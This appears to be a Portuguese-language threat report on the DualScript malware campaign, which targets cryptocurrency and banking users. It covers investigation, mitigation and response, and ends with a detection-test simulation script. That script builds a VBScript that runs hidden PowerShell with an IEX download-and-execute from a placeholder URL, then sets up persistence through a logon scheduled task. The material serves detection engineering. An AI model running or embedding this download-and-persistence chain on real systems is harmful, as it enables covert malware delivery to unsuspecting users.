Operação DualScript: Malware Em PowerShell em Múltiplos Estágios Visando Criptomoedas e Finanças

Resumo

O relatório descreve a Operação DualScript, uma campanha de malware em múltiplos estágios que depende de persistência por tarefas agendadas, iniciadores VBScript e carregadores PowerShell para implantar tanto um sequestrador de área de transferência quanto o trojan de acesso remoto RetroRAT. Os atacantes armazenam o PowerShell malicioso em servidores externos e o executam totalmente na memória para reduzir as oportunidades de detecção. O RetroRAT grava as teclas digitadas, monitora janelas ativas em busca de palavras-chave relacionadas a finanças e envia dados roubados por meio de um canal customizado TCP C2. A campanha tem como alvo atividades de criptomoeda e bancos dos EUA.

Investigação

Analistas descobriram tarefas agendadas configuradas para lançar arquivos VBScript de caminhos graváveis pelo usuário, que então executavam PowerShell oculto com a política de execução desabilitada. Foram identificadas duas cadeias de entrega paralelas: uma recuperava um script Wallet.txt para sequestrar conteúdos da área de transferência de criptomoedas, enquanto a outra carregava o RetroRAT diretamente na memória. A análise estática também expôs lógica anti-análise, criação de mutex, keylogging multithread e uma string de handshake C2 embutida.

Mitigação

Defensores devem monitorar tarefas agendadas suspeitas que invoquem VBScript ou PowerShell com janelas ocultas e argumentos de bypass. A detecção em endpoints deve focar na execução de PowerShell na memória, comportamento incomum de monitoramento de área de transferência e criação de mutex desconhecidos. As organizações também devem bloquear tráfego de saída para os domínios maliciosos e aplicar controles rigorosos de execução para PowerShell e VBScript.

Resposta

Se esta atividade for detectada, isole o host afetado, desative as tarefas agendadas maliciosas e remova quaisquer artefatos de VBScript ou PowerShell persistidos. Realize uma varredura forense completa para o payload RetroRAT, dados de teclas capturadas e tráfego C2 relacionado. Redefina as informações da carteira de criptomoeda exposta e altere as credenciais bancárias. Restaure sistemas afetados a partir de backups limpos e bloqueie os domínios e endereços IP identificados na camada de rede.

Execução da Simulação

Pré-requisito: O Check de Telemetria & Baseline Pre‑flight deve ter passado.

Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e o enredo DEVEM refletir diretamente os TTPs identificados e visam gerar exatamente a telemetria esperada pela lógica de detecção.

• Narrativa do Ataque & Comandos:
  O atacante primeiro organiza um VBScript (dual.vbs) no diretório de perfil do usuário. A finalidade do script é iniciar o PowerShell com as flags -WindowStyle Hidden and -ExecutionPolicy Bypass, depois baixar e executar um payload remoto (simulado com um simples Write-Host). Para alcançar persistência, o atacante registra uma tarefa agendada (DualScriptPersist) que executa o VBScript no logon. Cada etapa produz as duas entradas correlacionadas EventID 4104 que a regra procura.

• Script de Teste de Regressão:

  # -------------------------------------------------
  # Simulação de Ataque DualScript – PowerShell
  # -------------------------------------------------
  # 1️⃣ Crie o VBScript malicioso em um caminho gravável pelo usuário
  $vbsPath = "$env:USERPROFILEdual.vbs"
  $payloadUrl = "http://example.com/payload.ps1"   # URL de exemplo
  $vbsContent = @"
  WScript.Sleep 500
  Dim sh
  Set sh = CreateObject("WScript.Shell")
  sh.Run "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command `"IEX (New-Object Net.WebClient).DownloadString('$payloadUrl')`""
  "@
  $vbsContent | Set-Content -Path $vbsPath -Encoding ASCII
  
  # 2️⃣ Registre uma tarefa agendada que executa o VBScript a cada logon do usuário
  $taskName = "DualScriptPersist"
  $taskAction = "`"$vbsPath`""
  schtasks.exe /Create `
      /SC ONLOGON `
      /RL HIGHEST `
      /TN $taskName `
      /TR $taskAction `
      /F
  
  # 3️⃣ Force a execução imediata da tarefa (dispara a detecção)
  schtasks.exe /Run /TN $taskName
  
  Write-Host "`n[+] Simulação DualScript executada. Verifique seu SIEM para alertas."
  # -------------------------------------------------

• Comandos de Limpeza:

  # -------------------------------------------------
  # Limpeza da Simulação DualScript
  # -------------------------------------------------
  $taskName = "DualScriptPersist"
  $vbsPath  = "$env:USERPROFILEdual.vbs"
  
  # Exclua a tarefa agendada
  schtasks.exe /Delete /TN $taskName /F
  
  # Remova o arquivo VBScript
  Remove-Item -Path $vbsPath -Force -ErrorAction SilentlyContinue
  
  Write-Host "`n[+] Limpeza completa."
  # -------------------------------------------------